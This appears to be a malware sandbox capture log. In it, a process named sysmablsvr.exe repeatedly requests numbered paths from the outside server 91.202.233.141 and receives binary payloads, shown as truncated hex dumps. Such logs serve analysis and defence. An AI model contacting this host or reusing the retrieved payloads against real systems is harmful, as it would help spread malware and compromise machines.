Sep 17, 2024 23:10:01.236260891 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:01 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:10:01.236279011 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:10:01.236289978 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:10:01.236361027 CEST	1236	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:10:01.236372948 CEST	1236	IN	Data Raw: 10 0d 0b b9 5f 9d 6d e6 92 57 24 32 d1 17 e9 b2 d9 ae 0d 71 a1 d0 f5 93 db 74 24 44 1d 9c e2 88 95 42 43 e3 6d 72 fc 78 0b 0c 45 d3 b3 36 15 f1 98 ab 5f 59 68 bb c4 59 ff aa da 7d a2 ad c0 0d 7b 82 2d 3b 08 0f 12 be 08 9a 06 81 47 b2 42 9b 80 69 Data Ascii: _mW$2qt$DBCmrxE6_YhY}{-;GBiuMPyVE=hEN+kq?<'e>4bcb7Ki<=b"x5V$)VO$&<B0^MgOFzgQTfHO_T1*6vX
Sep 17, 2024 23:10:01.236382961 CEST	1236	IN	Data Raw: 8a 04 bc 40 2f 0c e0 a9 d6 0a e2 f7 14 8f ae 57 56 3d 2a bf 40 a3 25 fe 65 17 b7 f6 2f da 29 64 e9 6d 89 dc fd a5 6c 7b b4 e5 b8 72 df 7e 9d 10 04 92 d4 19 f1 8d 30 01 70 8c 1d 49 81 05 99 27 00 4f 7d 7a 9d c1 12 6d da 6c 5e f7 bb 5a cd 3d cf 8c Data Ascii: @/WV=*@%e/)dml{r~0pI'O}zml^Z=ksq#t]ID4CX<Vq/P:_NwB)xJkGC~ua"5I5nKy+Y{?bCI%Xm01:._&u>}@_`T
Sep 17, 2024 23:10:01.236394882 CEST	1236	IN	Data Raw: 30 57 86 af d6 c6 d3 34 95 3c 80 7e d4 8e 1c 90 01 dd 15 ca 71 10 9c 00 3b 53 0d 8c 64 86 20 42 75 94 c9 97 a4 ac 14 92 66 db cc e6 0b 41 93 bc 48 e3 00 cf 52 69 31 9b 26 f3 80 24 67 53 5d 3c 93 84 ba bb 51 1f 7e 2a d4 23 20 45 21 36 94 89 af 9c Data Ascii: 0W4<~q;Sd BufAHRi1&$gS]<Q~*# E!6:0x[EP-Xn\fv$4X,.YR:Ev%o)p k WkB6eCt@R`}2WP`YJM$3z?5\ JPql
Sep 17, 2024 23:10:01.236784935 CEST	1236	IN	Data Raw: f9 22 9d 01 2b fd 11 5a 19 b7 74 3c 7d 58 9a d4 0d e0 14 a2 0d 47 fd c5 51 f2 b7 9a f7 48 65 ed 09 41 ba 81 e1 6c bb df 4d 7f 56 a2 00 f2 66 ff a8 c5 e0 fc 39 3a bc e6 d4 2e fd 2b c0 af c0 29 76 67 bd f2 ec 0e 7c 1d da eb 7b fd b7 62 3a b7 39 f1 Data Ascii: "+Zt<}XGQHeAlMVf9:.+)vg\|{b:9&&Qn1MW.Ob+am9W-@;fG@cP=YxuF HH;,TTu,zmDU'?lCk=Sbi@iK\eDw"wV
Sep 17, 2024 23:10:01.236805916 CEST	1236	IN	Data Raw: 8c c8 46 fd 7c b3 b9 a1 94 a6 7b 4b c1 71 aa e7 a4 be 30 e5 5f 0e 05 16 bc 74 a8 2d 5c 2f 95 72 38 4e e1 76 31 86 be b0 b9 4d c9 83 64 b1 2d 19 3d 98 16 3b 2f 0b ec e9 18 da 39 a9 18 f7 a4 82 1f a4 33 02 ce 29 81 12 bd c3 f7 91 1b 26 27 d1 55 5c Data Ascii: F\|{Kq0_t-\/r8Nv1Md-=;/93)&'U\]JvjSg4!]ReebGCh+;`4TO{ZVj{726Vij&)q C(*N\|3q.C2&_JcQqGnwR
Sep 17, 2024 23:10:01.236819029 CEST	1236	IN	Data Raw: 18 3e a6 e8 85 bc a6 54 db 4a 14 bc ac 5a 13 7e 50 e4 f7 f8 90 7e 8e c4 4e d6 4a 50 6c 97 a3 82 31 ec 59 be 4c 6f 38 62 b9 d7 4e 68 c4 e0 fb 81 94 96 eb 34 f8 ef 65 4d 72 0c e4 72 b0 61 ad 02 27 c5 b1 82 5c 94 03 fd 50 45 43 36 7b e0 0c a7 45 e4 Data Ascii: >TJZ~P~NJPl1YLo8bNh4eMrra'\PEC6{E\?&SgIqzEfMCz1U74;B3Q&maoMkjyt'K1H(,TNK#/S\|eQ2/f[C]A-Z&QQ>RuvF&0
Sep 17, 2024 23:10:01.241662025 CEST	449	IN	Data Raw: 27 ce c4 b5 6b ea 96 54 3d fe 4f 4d 3d 18 9a a1 b4 15 32 01 38 10 4e b7 4b ed fb 49 c1 d8 b2 5d 08 75 1d 81 79 d8 fa b0 b2 98 90 35 9e 31 36 5f 4e 44 ef 33 04 01 c4 0a 90 70 41 47 fe 67 04 e6 85 b5 53 5f db c8 6e c0 79 b3 52 d8 7e 01 47 5e d2 91 Data Ascii: 'kT=OM=28NKI]uy516_ND3pAGgS_nyR~G^{43e^W-qMw[~PA)LW!^LczVym_ZAVcYoZx%$[_j2\u\wch~;[E5}uiIj^A
Sep 17, 2024 23:10:07.443656921 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:07.663274050 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:07 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:08.681487083 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:10.219350100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:09 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW
Sep 17, 2024 23:10:10.219369888 CEST	224	IN	Data Raw: a4 17 e7 bb 21 6c dd 35 58 41 57 e9 a9 92 ec 85 6f 50 16 1e 1c 67 80 62 32 9a 78 28 be 5d c5 c2 07 8f 75 83 8b 99 bf 65 68 45 29 25 90 da 08 b9 0f f3 5c a8 1f ff 5b 9b a1 ea bc e2 dd d8 8f 99 11 db 43 82 1b 7c 82 21 62 4b 2c cc d3 18 19 1e 3b 06 Data Ascii: !l5XAWoPgb2x(]uehE)%\[C\|!bK,;TSdr34S^sfN[8fob.4Zj=,lD<0jb<8epOLLTtcA7$V~M1o"hn8}-IEG;ukG
Sep 17, 2024 23:10:10.219382048 CEST	1236	IN	Data Raw: 28 87 17 33 95 8c ae 7e 2d 83 25 f5 ee f5 cd 4f ae 78 df 70 b2 b9 87 16 18 31 e8 50 6a 09 21 41 75 f4 d0 3f da 11 b9 48 05 4d c3 ba 8c 6d 6c 35 60 51 5a 8b d2 1f 8c 41 8d fd a4 06 e6 4f 64 af 2c 0d f5 46 de ae 4d d6 dd fe 1d 27 9f 6d ef 4f 8a e1 Data Ascii: (3~-%Oxp1Pj!Au?HMml5`QZAOd,FM'mO(8.6bN dwN[('qu(28mohRq\)Q*gxBE#GD>"2}A"bKMVg%yS7uJiqtn1uG@
Sep 17, 2024 23:10:10.219510078 CEST	1236	IN	Data Raw: a9 40 9c 86 49 ba 55 69 74 20 f8 f1 cd 29 67 db 71 fa e0 e0 92 9a 0f cc 6e 4a ab 49 66 bf ec 35 dc 78 25 b8 5a a7 f8 7a 3c 91 04 b7 fa 9b a1 b3 c6 91 d7 02 b4 43 41 57 ca 57 2d 2c d6 27 ea 81 60 eb d2 76 69 82 03 fb d9 1a be ed 25 13 75 fc 15 9a Data Ascii: @IUit )gqnJIf5x%Zz<CAWW-,'`vi%u@hW]?5@_^Q`Z-MBwiSe1{:&mp6zVwAQr!)aa3 0wOo/WQYn\xSrCi
Sep 17, 2024 23:10:10.219521046 CEST	1236	IN	Data Raw: 84 9a 8a 45 4a bf b3 e2 5f 6b 0d ea 08 f9 0a 00 0f 6d ec 9e 3f d9 b5 c5 bd 03 99 76 b7 23 b4 ca 34 79 72 55 16 8f 82 18 2f a8 4c 21 42 80 3d ce 52 3a b7 e2 31 d5 ae e3 52 83 e8 7b 62 f9 78 10 6e 2e e0 1f f4 8a 98 53 11 16 d1 f4 1f e4 f1 5d dd 7d Data Ascii: EJ_km?v#4yrU/L!B=R:1R{bxn.S]}ZY4[zXo6#W<yyW.3,_L!Eq$V*=<aFXbWfYyN6Vg%R%ju=> 7pVn?"
Sep 17, 2024 23:10:10.219531059 CEST	1236	IN	Data Raw: 49 ca 8f dc 77 9c 31 0c 97 56 0e a6 e4 f1 28 8b b1 2c d8 41 e0 f2 9d 13 28 3c 32 f4 f2 0f 01 54 2e 48 06 23 9a e8 7e 1e 1c c1 6b 9d f9 a4 f0 93 01 cf 2c 39 18 ed 59 a8 04 10 58 d7 d6 86 fe 81 be 05 8a c3 5d 2c 1a 1e 07 5a fd 8a dd a6 1f e8 ab ba Data Ascii: Iw1V(,A(<2T.H#~k,9YX],ZtIe;Oc\| r1.weH&l;=):v4qOa l}9D7;FIIa~IUm54_\|5E
Sep 17, 2024 23:10:10.219542027 CEST	1236	IN	Data Raw: e3 a2 e9 8d 3f 04 b9 f4 6b c4 55 58 1b 5c e1 69 41 13 bd d5 6c fa 9d 5b 07 da a0 c6 c8 17 cf d4 09 c3 5b 60 77 37 c0 a6 6a 99 3b 82 40 4d 78 9c 19 7c 3b 97 8d ce 15 de 66 dc 26 59 de ac fb c5 6e af d8 6d ca 71 c7 7b e0 6b 50 99 0f 64 72 41 68 98 Data Ascii: ?kUX\iAl[[`w7j;@Mx\|;f&Ynmq{kPdrAh9_\.y>{&wD8"Jn{l<[^`IIVuH"8n7wnY13_' P*wYiSYz_v?BDte`)>1fph,
Sep 17, 2024 23:10:10.219670057 CEST	552	IN	Data Raw: 4a 35 96 13 41 62 bf 97 71 f3 e5 ea 1b dc d2 ac a0 be d0 06 91 71 be ca 0c 04 26 bf 8e 2b 4f bc 40 c3 d8 51 dd 9f 3c 3c 55 14 14 e1 a7 cc 85 bf 3b 2e d4 0e 91 7c 7c 71 d7 68 1a 92 a4 5c 8b e5 45 8a b6 27 a1 8a 92 e7 3b b7 b6 d2 91 77 12 87 38 1f Data Ascii: J5Abqq&+O@Q<<U;.\|\|qh\E';w8 iJB o`^H.is@?z'"E#CBN"Ey&)GA"'X]XK.oIEv+}'(d#9N=O
Sep 17, 2024 23:10:10.219680071 CEST	552	IN	Data Raw: 4a 35 96 13 41 62 bf 97 71 f3 e5 ea 1b dc d2 ac a0 be d0 06 91 71 be ca 0c 04 26 bf 8e 2b 4f bc 40 c3 d8 51 dd 9f 3c 3c 55 14 14 e1 a7 cc 85 bf 3b 2e d4 0e 91 7c 7c 71 d7 68 1a 92 a4 5c 8b e5 45 8a b6 27 a1 8a 92 e7 3b b7 b6 d2 91 77 12 87 38 1f Data Ascii: J5Abqq&+O@Q<<U;.\|\|qh\E';w8 iJB o`^H.is@?z'"E#CBN"Ey&)GA"'X]XK.oIEv+}'(d#9N=O
Sep 17, 2024 23:10:10.219687939 CEST	8	IN	Data Raw: 21 9c 14 4f 88 47 9c c5 Data Ascii: !OG
Sep 17, 2024 23:10:10.220110893 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:09 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW
Sep 17, 2024 23:10:10.223161936 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:09 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW
Sep 17, 2024 23:10:16.630811930 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:10:16.846080065 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:16 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 17, 2024 23:10:19.690042019 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
